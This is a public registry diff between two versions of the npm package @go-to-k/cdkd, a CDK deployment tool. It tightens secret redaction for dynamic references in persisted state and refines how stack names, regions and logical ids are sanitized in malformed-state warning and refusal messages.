@go-to-k/cdkd 0.290.37 → 0.290.39

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -1,6 +1,6 @@
1
- import { C as displayAwsMessage, D as truncateCodePoints, E as isPasteableIdent, S as UNRENDERABLE, T as displaySafe, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as displayIdent, x as STACK_REF_MAX_CODE_POINTS, y as withoutGeneratedFallbackName } from "./logger-BX4pJk0T.js";
1
+ import { C as displayAwsMessage, D as truncateCodePoints, E as isPasteableIdent, S as UNRENDERABLE, T as displaySafe, d as applyDefaultNameForFallback, f as explicitNamePropertyFor, g as looksLikeCdkdGeneratedName, h as getCurrentStackName, m as generateResourceNameWithFallback, n as getLogger, p as generateResourceName, r as isStdoutReservedForPayload, s as getLiveRenderer, v as withStackName, w as displayIdent, x as STACK_REF_MAX_CODE_POINTS, y as withoutGeneratedFallbackName } from "./logger-BkcLg0jL.js";
2
2
  import { a as setAssumedRoleCredentials, i as getPreAssumeEnvCredentials, n as awsClientDefaults, o as setPreAssumeEnvCredentials, r as getAssumedRoleCredentials, t as SECOND_ROLE_PUBLISH_REFUSAL } from "./aws-client-defaults-BoIxyCir.js";
3
- import { t as getCdkdVersion } from "./version-COEQwjCP.js";
3
+ import { t as getCdkdVersion } from "./version-DzcgAjCn.js";
4
4
  import { AsyncLocalStorage } from "node:async_hooks";
5
5
  import { createHash, randomUUID } from "node:crypto";
6
6
  import { CreateBucketCommand, DeleteObjectCommand, DeleteObjectsCommand, GetBucketLocationCommand, GetBucketReplicationCommand, GetObjectCommand, HeadBucketCommand, HeadObjectCommand, ListObjectVersionsCommand, ListObjectsV2Command, NoSuchKey, PutBucketEncryptionCommand, PutBucketPolicyCommand, PutObjectCommand, PutPublicAccessBlockCommand, S3Client, S3ServiceException } from "@aws-sdk/client-s3";
@@ -15055,7 +15055,10 @@ function positionListByCrossStackSource(bag, source, secrets) {
15055
15055
  function redactByPath(bag, source, secrets, rules, secretExpressions, bagIsSameGeneration) {
15056
15056
  if (isDynamicReferenceString(source) && typeof bag === "string") {
15057
15057
  if (isSingleDynamicReferenceToken(source) && (rules.trustAnyExpression || isKnownSecretExpression(source, secretExpressions))) {
15058
- if (!rules.sourceIsSameGeneration && isSingleDynamicReferenceToken(bag)) return secrets.get(bag) ?? bag;
15058
+ if (!rules.sourceIsSameGeneration && isSingleDynamicReferenceToken(bag)) {
15059
+ if (!spanNamesResolvableService(bag)) return redactSecretsForState(bag, secrets);
15060
+ return secrets.get(bag) ?? bag;
15061
+ }
15059
15062
  return source;
15060
15063
  }
15061
15064
  return positionByEmbeddedSpan(bag, source, secrets, bagIsSameGeneration);
@@ -15176,7 +15179,8 @@ function subtreeHasDynamicReference(value) {
15176
15179
  * compiling a pattern per string leaf at the persist choke point, which walks
15177
15180
  * every record. Do NOT call `.exec` / `.test` on this constant — those DO
15178
15181
  * advance `lastIndex`, which is exactly why the shared instance is safe only
15179
- * for `.match`.
15182
+ * for `.match`. (ONE site does, `resolvableReferenceSpans`, and it resets
15183
+ * `lastIndex` to 0 in the statement after the `exec`.)
15180
15184
  *
15181
15185
  * Widening it changes one answer, in the SAFE direction for BOTH readers.
15182
15186
  *
@@ -15665,6 +15669,57 @@ const SECRET_BEARING_REFERENCE_PREFIXES = [
15665
15669
  "{{resolve:ssm:"
15666
15670
  ];
15667
15671
  /**
15672
+ * Does this complete `{{resolve:...}}` token name a service cdkd RESOLVES?
15673
+ *
15674
+ * The value scan spares a needle match lying inside a token, so that a
15675
+ * plaintext coinciding with a real reference's own text is not spliced into
15676
+ * it (issue #1935). That protection is owed to a REFERENCE only. A token of
15677
+ * any other service is left in place by the resolver, so text inside it is
15678
+ * ordinary persisted text, and a recorded plaintext there must be redacted
15679
+ * (issue [#2743](https://github.com/go-to-k/cdkd/issues/2743)).
15680
+ */
15681
+ function spanNamesResolvableService(token) {
15682
+ return SECRET_BEARING_REFERENCE_PREFIXES.some((prefix) => token.startsWith(prefix));
15683
+ }
15684
+ /**
15685
+ * The spans of `value` the value scan must not splice a needle into: every
15686
+ * complete token of a resolvable service.
15687
+ *
15688
+ * Two scans, unioned. The ordinary one ({@link dynamicReferenceSpans}) is
15689
+ * LEFTMOST, so behind an opener of an unresolvable service it reports one
15690
+ * outer span and never sees a REAL reference nested in it — which is exactly
15691
+ * the text this module writes when it redacts `{{resolve:<plaintext>}}` to
15692
+ * `{{resolve:{{resolve:secretsmanager:...}}}}`. Dropping that outer span
15693
+ * alone would leave the nested reference unprotected, and a later pass whose
15694
+ * map holds a needle occurring in the reference's own text (`password` is an
15695
+ * ordinary JSON key AND an ordinary secret value) would splice into it, again
15696
+ * on every pass. The second scan starts only at a resolvable-service opener,
15697
+ * so it finds the nested reference — and keeps it only when it is an
15698
+ * expression of the pass's own map (see the loop).
15699
+ *
15700
+ * On a leaf with no unresolvable-service opener the two scans report the same
15701
+ * spans, so every leaf issue #1935 protects is answered exactly as before.
15702
+ */
15703
+ function resolvableReferenceSpans(value, vouchedExpressions) {
15704
+ const spans = dynamicReferenceSpans(value).filter((span) => spanNamesResolvableService(value.slice(span.start, span.end)));
15705
+ const starts = new Set(spans.map((span) => span.start));
15706
+ for (const prefix of SECRET_BEARING_REFERENCE_PREFIXES) for (let at = value.indexOf(prefix); at >= 0; at = value.indexOf(prefix, at + 1)) {
15707
+ if (starts.has(at)) continue;
15708
+ DYNAMIC_REFERENCE_TOKEN_SCAN.lastIndex = at;
15709
+ const match = DYNAMIC_REFERENCE_TOKEN_SCAN.exec(value);
15710
+ DYNAMIC_REFERENCE_TOKEN_SCAN.lastIndex = 0;
15711
+ if (match?.index !== at) continue;
15712
+ const end = at + match[0].length;
15713
+ if (!vouchedExpressions.has(value.slice(at, end))) continue;
15714
+ spans.push({
15715
+ start: at,
15716
+ end
15717
+ });
15718
+ starts.add(at);
15719
+ }
15720
+ return spans;
15721
+ }
15722
+ /**
15668
15723
  * The prefixes whose SPELLING settles secret-ness, with no lookup and no
15669
15724
  * inference — the subset of {@link SECRET_BEARING_REFERENCE_PREFIXES} that
15670
15725
  * {@link expressionSecretIsInferred} treats as certain.
@@ -16069,7 +16124,7 @@ function deriveReadbackNeedles(bag, source, secrets, rules) {
16069
16124
  */
16070
16125
  function refuseUncertifiedSubtree(value, sourceLiterals, mark, seen = /* @__PURE__ */ new Map()) {
16071
16126
  if (typeof value === "string") {
16072
- if (isSingleDynamicReferenceToken(value) || sourceLiterals.has(value)) return value;
16127
+ if (isSingleDynamicReferenceToken(value) && spanNamesResolvableService(value) || sourceLiterals.has(value)) return value;
16073
16128
  if (value === "") return value;
16074
16129
  return mark ? POSITION_UNCERTIFIED : "***";
16075
16130
  }
@@ -16371,6 +16426,16 @@ function redactSecretsForState(bag, secrets, source, rules = TEMPLATE_DERIVED_RU
16371
16426
  * security review, and the reason the rule is one predicate over the whole
16372
16427
  * leaf rather than a split.
16373
16428
  * - **disjoint from every span** -> REPLACED. The ordinary embedded secret.
16429
+ * - **inside a span whose service cdkd does not resolve** -> REPLACED (issue
16430
+ * [#2743](https://github.com/go-to-k/cdkd/issues/2743)). Such a span is not
16431
+ * a reference: `{{resolve:<plaintext>}}` is what an `Fn::Sub` putting a
16432
+ * resolved secret in the SERVICE position assembled, and sparing it
16433
+ * persisted the plaintext. The result, `{{resolve:{{resolve:...}}}}`, is
16434
+ * garbage but not plaintext, the same trade as the stray-opener residual
16435
+ * below; the REAL reference nested in it is protected again
16436
+ * ({@link resolvableReferenceSpans}). The cost: an untainted look-alike
16437
+ * token whose text coincides with a recorded secret is rewritten like any
16438
+ * other text, and a replay then sends the rewritten literal.
16374
16439
  *
16375
16440
  * Scanning the WHOLE leaf in ONE pass is also what preserves what needle
16376
16441
  * PRECEDENCE there is. {@link buildNeedleRegex} sorts alternatives
@@ -16399,8 +16464,9 @@ function redactSecretsForState(bag, secrets, source, rules = TEMPLATE_DERIVED_RU
16399
16464
  * PLAINTEXT behind two characters any string can contain.
16400
16465
  * - **a later `}}` anywhere in the leaf** -> the opener and that `}}` form
16401
16466
  * ONE span swallowing everything between them, so a needle in that region
16402
- * is KEPT — the only shape where this rule redacts LESS than the code it
16403
- * replaced. Narrow but real, and the reachable carrier is named rather than
16467
+ * is KEPT when the opener spells a resolvable service (`{{resolve:ssm:`
16468
+ * ...; any other opener is the unresolvable-service row above) — the only
16469
+ * shape where this rule redacts LESS than the code it replaced. Narrow but real, and the reachable carrier is named rather than
16404
16470
  * waved at: the resolver shares this grammar, so such a leaf could not have
16405
16471
  * resolved on the deploy path, which leaves an `observedProperties`
16406
16472
  * READBACK (arbitrary text from AWS) as the way one arrives.
@@ -16411,8 +16477,10 @@ function redactSecretsForState(bag, secrets, source, rules = TEMPLATE_DERIVED_RU
16411
16477
  * contradicting this change's own "not repaired, not made worse" property.
16412
16478
  * So the residual is documented, not fixed.
16413
16479
  */
16480
+ let vouched;
16481
+ const vouchedExpressions = () => vouched ??= new Set(secrets.values());
16414
16482
  const scanLeaf = (value, needles) => {
16415
- const spans = isDynamicReferenceString(value) ? dynamicReferenceSpans(value) : [];
16483
+ const spans = isDynamicReferenceString(value) ? resolvableReferenceSpans(value, vouchedExpressions()) : [];
16416
16484
  return value.replace(needles, (match, offset) => {
16417
16485
  const end = offset + match.length;
16418
16486
  if (spans.some((span) => span.start <= offset && end <= span.end && (span.start !== offset || span.end !== end))) return match;
@@ -16423,7 +16491,7 @@ function redactSecretsForState(bag, secrets, source, rules = TEMPLATE_DERIVED_RU
16423
16491
  if (typeof value === "string") {
16424
16492
  const whole = wholeValueExpr(value);
16425
16493
  if (whole !== void 0) return whole;
16426
- if (isSingleDynamicReferenceToken(value)) return value;
16494
+ if (isSingleDynamicReferenceToken(value) && spanNamesResolvableService(value)) return value;
16427
16495
  if (!regex) return value;
16428
16496
  regex.lastIndex = 0;
16429
16497
  if (!regex.test(value)) return value;
@@ -21005,10 +21073,12 @@ function findUnrecognizedProperties(resourceType, templateProperties) {
21005
21073
  //#endregion
21006
21074
  //#region src/state/malformed-resources-bag.ts
21007
21075
  /**
21008
- * The identifier cap every message here uses unless a caller says otherwise.
21009
- * See {@link safeIdentifier} for why it is a parameter at all.
21076
+ * The row name a READ-ONLY command reports for a record whose whole `resources`
21077
+ * map is unreadable — `cdkd drift` as a `notCompared` outcome and `cdkd diff`
21078
+ * as an unreadable row. Parenthesised so it cannot be mistaken for a logical
21079
+ * id, which CloudFormation keeps alphanumeric.
21010
21080
  */
21011
- const IDENT_CAP_DEFAULT = 128;
21081
+ const UNREADABLE_RESOURCES_MAP_ROW = "(resources map)";
21012
21082
  /** The error code every malformed-record refusal carries, whatever its class. */
21013
21083
  const STATE_RESOURCES_MALFORMED = "STATE_RESOURCES_MALFORMED";
21014
21084
  /**
@@ -21046,6 +21116,17 @@ function hasReadableOutputs(state) {
21046
21116
  return state.outputs === void 0 || isReadableBag(state.outputs);
21047
21117
  }
21048
21118
  /**
21119
+ * The cap for a value whose grammar is SHORT — an AWS region, or the name of a
21120
+ * state container. Unchanged from the literal this module used for every
21121
+ * identifier before go-to-k/cdkd#3018 made the cap a parameter, so no message
21122
+ * carrying either moves.
21123
+ *
21124
+ * A logical id does NOT share it: CloudFormation allows 255 characters there
21125
+ * (`IDENT_MAX_CODE_POINTS`), and a legitimate 129-to-255-character CDK id cut at
21126
+ * 128 renders as a name the record does not hold.
21127
+ */
21128
+ const SHORT_NAME_MAX_CODE_POINTS = 128;
21129
+ /**
21049
21130
  * The shared explanation, in the terms the reader needs: what is wrong, what
21050
21131
  * to look at, and what NOT to do next.
21051
21132
  *
@@ -21079,28 +21160,102 @@ function hasReadableOutputs(state) {
21079
21160
  * stays private. The pair here is not duplicated: what differs is the
21080
21161
  * `shellQuote` composition every message in THIS module needs and that one
21081
21162
  * must not have.
21082
- */
21083
- function safeIdentifier(value, maxCodePoints = IDENT_CAP_DEFAULT) {
21163
+ *
21164
+ * The helper itself carries no `buildForceUnlockCommand`-style exactness gate,
21165
+ * which SUPPRESSES a whole command when sanitizing changed the value. The
21166
+ * difference is what the command DOES: `cdkd force-unlock` deletes another
21167
+ * process's lock, so naming a stack that is not quite the record's is
21168
+ * destructive and suppressing is right. The command most texts here end on is
21169
+ * `cdkd state show`, which reads; emitting it with a sanitized name leads the
21170
+ * reader either to "no state found for ..." or to a sibling record the name
21171
+ * now matches, which a read shows them as healthy. Neither changes anything,
21172
+ * where emitting NOTHING leaves a broken record with no next step at all. A
21173
+ * text that points at a command which WRITES owns the gate at its own site:
21174
+ * {@link malformedDestroyResourcesRefusalMessage} names no target unless both
21175
+ * identifiers render exactly, and gives `cdkd state orphan` as a template.
21176
+ */
21177
+ function safeIdentifier(value, maxCodePoints) {
21084
21178
  const safe = displaySafe(value, { asciiOnly: true });
21085
21179
  if (!safe) return UNRENDERABLE;
21086
21180
  const { text, truncated } = truncateCodePoints(safe, maxCodePoints);
21087
21181
  return truncated ? `${text}...` : text;
21088
21182
  }
21089
21183
  /**
21184
+ * A stack name, which a nested chain makes legitimately long.
21185
+ *
21186
+ * Safe for a command that only READS. A caller building a command that WRITES
21187
+ * owns an exactness gate as well — print the command only when this returns the
21188
+ * value unchanged, since a name sanitizing altered can resolve to a different
21189
+ * stack — whenever the identity can hold characters sanitizing alters: anything
21190
+ * not already validated, whether a user typed it or the record supplied it.
21191
+ * `reportDriftBaselineGaps` (`src/cli/commands/export.ts`) gates its
21192
+ * `refresh-observed` command for that reason: `cdkd export --template` takes
21193
+ * the stack name as a free-typed positional, and the record BODY is a second
21194
+ * source when a caller omits the loaded identity. A synthesized stack name is
21195
+ * not an exception by itself — a prebuilt cloud assembly's name is read
21196
+ * unvalidated — which is why `dropRecordCommand` gates its substitution on
21197
+ * {@link rendersExactly} (go-to-k/cdkd#3360, closed by go-to-k/cdkd#3363).
21198
+ */
21199
+ function safeStackName(value) {
21200
+ return safeIdentifier(value, STACK_REF_MAX_CODE_POINTS);
21201
+ }
21202
+ /** An AWS region. */
21203
+ function safeRegion(value) {
21204
+ return safeIdentifier(value, SHORT_NAME_MAX_CODE_POINTS);
21205
+ }
21206
+ /**
21207
+ * A CloudFormation logical id, as it appears in a LIST of ids — which is the
21208
+ * only way this module and its callers print one.
21209
+ *
21210
+ * NOT {@link safeIdentifier}, although it is the obvious third sibling, and it
21211
+ * used to be exactly that. `displaySafe` TRIMS, so a sanitize-then-quote pair
21212
+ * renders a torn `resources["Bucket "]` byte-identically to a healthy sibling
21213
+ * `Bucket`, and the message sends the reader to the intact record while the
21214
+ * damaged one goes unnamed. `displayIdent` compares the sanitized text with the
21215
+ * raw one and JSON-quotes whenever they differ, so a padded or rewritten id can
21216
+ * never render bare. Past that, what it shows is judged on the text it KEEPS:
21217
+ * a kept part holding a character outside the plain-identifier set (`'`, a
21218
+ * space) is wrapped in double quotes with an embedded `"` escaped, so text an
21219
+ * id plants on a line that ends in a pasteable command stays visibly inside one
21220
+ * quoted token. A cut id is followed by `[cut: N more characters withheld]`,
21221
+ * which cannot be read as part of it — so a plain 255-character prefix renders
21222
+ * bare with that marker even when the withheld tail held a `'`, and nothing of
21223
+ * the tail is shown. An id with nothing renderable left is the bare
21224
+ * `<unrenderable>` stand-in. A
21225
+ * bare `,` inside a plain id still reads as two entries in a `', '`-joined list
21226
+ * — the residual go-to-k/cdkd#3179 records for every caller of the helper. That
21227
+ * is the answer go-to-k/cdkd#3317 recorded for
21228
+ * `namedPropertyBagsClause`; this is the same rule for the other lists, so two
21229
+ * sibling clauses in one module cannot give opposite answers.
21230
+ *
21231
+ * Capped at `IDENT_MAX_CODE_POINTS`, a logical id's own limit, rather than a
21232
+ * region-sized cut that would name no record.
21233
+ */
21234
+ function displayLogicalId(value) {
21235
+ return displayIdent(value, { maxCodePoints: 255 });
21236
+ }
21237
+ /**
21090
21238
  * The DIAGNOSIS sentence itself, with no identity and no remedy in it.
21091
21239
  *
21092
- * ONE spelling, for the reason {@link malformedStateDetail} gives for existing
21093
- * at all: two copies of a diagnosis are what drift. It is extracted because
21240
+ * ONE spelling, because two copies of a diagnosis are what drift. It is extracted because
21094
21241
  * {@link malformedDestroyResourcesRefusalMessage} needs the same sentence
21095
21242
  * under an identity it does NOT trust, where the detail's substituted
21096
21243
  * `cdkd state show` command must not appear — a difference in the COMMAND, not
21097
21244
  * in the diagnosis.
21098
21245
  */
21099
21246
  const MALFORMED_RESOURCES_DIAGNOSIS = "has no readable 'resources' map — the record is malformed or truncated. Both 'cdkd deploy' and 'cdkd destroy' REFUSE such a record rather than acting on it: they read the same map, an unreadable one is indistinguishable from an empty stack, and acting on that reading would make a deploy re-CREATE every resource and a destroy delete none of them.";
21100
- function malformedStateDetail(stackName, region, maxCodePoints = IDENT_CAP_DEFAULT) {
21101
- const stack = safeIdentifier(stackName, maxCodePoints);
21102
- const reg = safeIdentifier(region, maxCodePoints);
21103
- return `State for ${shellQuote(stack)} (${shellQuote(reg)}) ${MALFORMED_RESOURCES_DIAGNOSIS} Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21247
+ /**
21248
+ * `region` is optional for ONE caller's sake: `cdkd export`'s baseline report,
21249
+ * whose loaded region is absent when the record it loaded is a legacy
21250
+ * region-less one and no synth region was available to stand in for it. A placeholder there would put a `--stack-region` into a
21251
+ * command the reader pastes that selects no record at all — so an absent
21252
+ * region drops the clause and the flag rather than inventing one.
21253
+ */
21254
+ function malformedStateDetail(stackName, region) {
21255
+ const stack = safeStackName(stackName);
21256
+ const where = region === void 0 ? "" : ` (${shellQuote(safeRegion(region))})`;
21257
+ const regionFlag = region === void 0 ? "" : ` --stack-region ${shellQuote(safeRegion(region))}`;
21258
+ return `State for ${shellQuote(stack)}${where} ${MALFORMED_RESOURCES_DIAGNOSIS} Inspect it with: cdkd state show ${shellQuote(stack)}${regionFlag} --json`;
21104
21259
  }
21105
21260
  /**
21106
21261
  * For a READ-ONLY command: give the record an empty resource bag so the
@@ -21265,23 +21420,23 @@ function malformedStateRefusalMessage(stackName, region) {
21265
21420
  * because a LEGACY record has no key region at all, in which case the value
21266
21421
  * printed is the CLI's own and `--stack-region` must be omitted.
21267
21422
  *
21268
- * **The cap this arm measures against is `STACK_REF_MAX_CODE_POINTS`, not the
21269
- * 128 every other text in this module uses**, and it is threaded rather than
21270
- * hard-coded because the VERDICT turns on it. At 128 an ordinary multi-level
21271
- * CDK nested child (`<root>~<...NestedStackResource><hash>~<...>`, measured
21272
- * past 150 code points) truncates, fails `exact`, and takes the withhold arm
21273
- * on a HEALTHY record — which is fail-safe but makes the fallback the common
21274
- * path for exactly the nested destroys this lane added a guard to (review
21275
- * round 2 of go-to-k/cdkd#3332). The bound is still a bound: a planted
21276
- * multi-kilobyte name is truncated at 1152 and lands in the withhold arm.
21423
+ * **The VERDICT turns on the identifier caps**, which is why the stack name is
21424
+ * measured through {@link safeStackName} (`STACK_REF_MAX_CODE_POINTS`) and the
21425
+ * region through {@link safeRegion} (128, which no real region approaches). At
21426
+ * 128 an ordinary multi-level CDK nested child
21427
+ * (`<root>~<...NestedStackResource><hash>~<...>`, measured past 150 code
21428
+ * points) truncates, fails `exact`, and takes the withhold arm on a HEALTHY
21429
+ * record — which is fail-safe but makes the fallback the common path for
21430
+ * exactly the nested destroys this lane added a guard to (review round 2 of
21431
+ * go-to-k/cdkd#3332). The bound is still a bound: a planted multi-kilobyte name
21432
+ * is truncated at 1152 and lands in the withhold arm.
21277
21433
  *
21278
21434
  * Identifiers are sanitized and THEN shell-quoted, for the reasons
21279
21435
  * {@link safeIdentifier}'s note gives.
21280
21436
  */
21281
21437
  function malformedDestroyResourcesRefusalMessage(stackName, region) {
21282
- const cap = STACK_REF_MAX_CODE_POINTS;
21283
- const exact = safeIdentifier(stackName, cap) === stackName && safeIdentifier(region, cap) === region;
21284
- return `${exact ? malformedStateDetail(stackName, region, cap) : `${stackClause(void 0, void 0)} ${MALFORMED_RESOURCES_DIAGNOSIS}`} This command DELETES state, so it refuses rather than continuing: the resource map IS the list of what to delete, so an unreadable one counts as ZERO resources and the run takes the empty-stack fast path, which removes state.json and reports success while every resource the record named is still live in AWS and no longer referenced by anything. Reading the bag as EMPTY is that same outcome rather than an alternative to it, so there is no repair available here. Repair or remove the record first. ${exact ? "To drop the record deliberately and leave the live resources standing, run 'cdkd state orphan' against the stack and the region THE RECORD'S S3 KEY holds — spelled out rather than pasteable, because that command DELETES a record and the region printed above is the one cdkd was pointed at, not a value cdkd owns. Confirm the key with 'cdkd state list --long' — a legacy record shows none, and for one of those the flag must be OMITTED or it selects nothing — then: cdkd state orphan <stack> --stack-region <region>" : `This record's stack name or region does NOT render exactly — what is printed above is a sanitized form, and another record may render identically — so this message names no target and offers no command against one. List the records as stored with 'cdkd state list --long', which prints a name needing sanitizing in quoted form, and act on the one whose key matches. Inspect it with: ${inspectCommand(void 0, void 0)}`}`;
21438
+ const exact = safeStackName(stackName) === stackName && safeRegion(region) === region;
21439
+ return `${exact ? malformedStateDetail(stackName, region) : `${stackClause(void 0, void 0)} ${MALFORMED_RESOURCES_DIAGNOSIS}`} This command DELETES state, so it refuses rather than continuing: the resource map IS the list of what to delete, so an unreadable one counts as ZERO resources and the run takes the empty-stack fast path, which removes state.json and reports success while every resource the record named is still live in AWS and no longer referenced by anything. Reading the bag as EMPTY is that same outcome rather than an alternative to it, so there is no repair available here. Repair or remove the record first. ${exact ? "To drop the record deliberately and leave the live resources standing, run 'cdkd state orphan' against the stack and the region THE RECORD'S S3 KEY holds — spelled out rather than pasteable, because that command DELETES a record and the region printed above is the one cdkd was pointed at, not a value cdkd owns. Confirm the key with 'cdkd state list --long' — a legacy record shows none, and for one of those the flag must be OMITTED or it selects nothing — then: cdkd state orphan <stack> --stack-region <region>" : `This record's stack name or region does NOT render exactly — what is printed above is a sanitized form, and another record may render identically — so this message names no target and offers no command against one. List the records as stored with 'cdkd state list --long', which prints a name needing sanitizing in quoted form, and act on the one whose key matches. Inspect it with: ${inspectCommand(void 0, void 0)}`}`;
21285
21440
  }
21286
21441
  /**
21287
21442
  * For `cdkd destroy` / `cdkd state destroy`: refuse a record whose `resources`
@@ -21499,9 +21654,9 @@ function refuseMalformedResourcesForDeploy(state, stackName, region) {
21499
21654
  * English (review of go-to-k/cdkd#3190).
21500
21655
  */
21501
21656
  function malformedRenderedContainersWarning(stackName, region, containers) {
21502
- const stack = safeIdentifier(stackName);
21503
- const reg = safeIdentifier(region);
21504
- const names = containers.map((name) => `'${safeIdentifier(name)}'`).join(", ");
21657
+ const stack = safeStackName(stackName);
21658
+ const reg = safeRegion(region);
21659
+ const names = containers.map((name) => `'${safeIdentifier(name, SHORT_NAME_MAX_CODE_POINTS)}'`).join(", ");
21505
21660
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has a non-object ${names} — the record is malformed or truncated. 'Object.entries' walks a string or a list as readily as a map, so rendering one INVENTS a row per character or element. Continuing with it EMPTY: this view shows no rows there, which is not the same as the record holding none. A per-resource container is named once however many resources hold one. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21506
21661
  }
21507
21662
  /** The warning a caller of {@link repairMalformedResourcesForReadOnly} emits. */
@@ -21582,8 +21737,8 @@ function repairMalformedOutputsForReadOnly(state) {
21582
21737
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21583
21738
  */
21584
21739
  function malformedOutputsWarning(stackName, region) {
21585
- const stack = safeIdentifier(stackName);
21586
- const reg = safeIdentifier(region);
21740
+ const stack = safeStackName(stackName);
21741
+ const reg = safeRegion(region);
21587
21742
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. Where the stored value is a string or a list, 'Object.entries' walks it as readily as a map, so diffing it INVENTS a REMOVE row per character or element carrying the record's own characters; where it is a number, a boolean or null, it yields no comparison at all. Continuing with it EMPTY: every output this diff resolves is reported as an ADD and no stored key is reported as a REMOVE, which is not the same as the record holding none. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21588
21743
  }
21589
21744
  /**
@@ -21629,8 +21784,8 @@ function refuseMalformedState(state, stackName, region) {
21629
21784
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21630
21785
  */
21631
21786
  function malformedOutputsRefusalMessage(stackName, region) {
21632
- const stack = safeIdentifier(stackName);
21633
- const reg = safeIdentifier(region);
21787
+ const stack = safeStackName(stackName);
21788
+ const reg = safeRegion(region);
21634
21789
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command can WRITE state, so it refuses rather than continuing: it REBUILDS the bag before saving, and 'Object.entries' walks a string or a list as readily as a map, so a six-character value would be saved back as a well-formed six-key map (a null one as an empty map). That replaces the only signal anything is wrong with a legitimate-looking record, permanently — and the next deploy republishes it into the shared exports index every other stack's Fn::ImportValue resolves against. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21635
21790
  }
21636
21791
  /**
@@ -21655,8 +21810,8 @@ function malformedOutputsRefusalMessage(stackName, region) {
21655
21810
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21656
21811
  */
21657
21812
  function malformedExportSourceWarning(stackName, region) {
21658
- const stack = safeIdentifier(stackName);
21659
- const reg = safeIdentifier(region);
21813
+ const stack = safeStackName(stackName);
21814
+ const reg = safeRegion(region);
21660
21815
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map or 'exportNames' list — the record is malformed or truncated. It contributes NO exports to this region's index, which is not the same as the stack exporting none: an Fn::ImportValue of a name this stack really publishes will fail in the CONSUMER stack, naming that stack rather than this record. Continuing with the other producers — enumerating a string or a list here would instead publish one FABRICATED export per character or element. See the stored values with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21661
21816
  }
21662
21817
  /**
@@ -21684,8 +21839,8 @@ function malformedExportSourceWarning(stackName, region) {
21684
21839
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21685
21840
  */
21686
21841
  function malformedExportNamesWarning(stackName, region) {
21687
- const stack = safeIdentifier(stackName);
21688
- const reg = safeIdentifier(region);
21842
+ const stack = safeStackName(stackName);
21843
+ const reg = safeRegion(region);
21689
21844
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has an unusable 'exportNames' list — the record is malformed or truncated. It is read as an EMPTY export set, which is not the same as the record holding one: no stored key is reported as an export, so a row that should carry an '[export]' tag renders without it. Reading it as UNKNOWN instead would be worse — that falls back to the pre-v9 rule where every output name is importable. See the stored value with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21690
21845
  }
21691
21846
  /**
@@ -21745,8 +21900,8 @@ function refuseMalformedOutputs(state, stackName, region) {
21745
21900
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21746
21901
  */
21747
21902
  function malformedDestroyOutputsRefusalMessage(stackName, region) {
21748
- const stack = safeIdentifier(stackName);
21749
- const reg = safeIdentifier(region);
21903
+ const stack = safeStackName(stackName);
21904
+ const reg = safeRegion(region);
21750
21905
  return `State for ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. This command DELETES state, so it refuses rather than continuing: it reads this bag to decide whether the stack might export anything, and that decision gates the cross-stack check that refuses to delete a producer another stack still imports from. A string or a list invents one export name per character or element; a null, a number or a boolean reads as 'exports nothing' and SKIPS the check entirely, deleting the record while consumers still resolve against it. Repair or remove the record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21751
21906
  }
21752
21907
  /**
@@ -21787,8 +21942,8 @@ function refuseMalformedOutputsForDestroy(state, stackName, region) {
21787
21942
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21788
21943
  */
21789
21944
  function malformedNestedChildOutputsRefusalMessage(childStackName, region) {
21790
- const stack = safeIdentifier(childStackName);
21791
- const reg = safeIdentifier(region);
21945
+ const stack = safeStackName(childStackName);
21946
+ const reg = safeRegion(region);
21792
21947
  return `State for nested stack child ${shellQuote(stack)} (${shellQuote(reg)}) has no readable 'outputs' map — the record is malformed or truncated. The parent's 'Outputs.<Key>' attributes are REBUILT from this bag and persisted into the PARENT's record, and 'Object.entries' walks a string or a list as readily as a map — so a six-character value would become six fabricated parent attributes that every Fn::GetAtt against this nested stack then resolves into live AWS calls. The deploy refuses rather than fabricating them. Repair or remove the child's record first. Inspect it with: cdkd state show ${shellQuote(stack)} --stack-region ${shellQuote(reg)} --json`;
21793
21948
  }
21794
21949
  /**
@@ -21838,8 +21993,8 @@ function refuseMalformedNestedChildOutputs(state, childStackName, region) {
21838
21993
  * LAST and UNWRAPPED, for the reasons {@link safeIdentifier}'s note gives.
21839
21994
  */
21840
21995
  function malformedLocalOutputsWarning(stackName, region) {
21841
- const stack = safeIdentifier(stackName);
21842
- const reg = safeIdentifier(region);
21996
+ const stack = safeStackName(stackName);
21997
+ const reg = safeRegion(region);
21843
21998
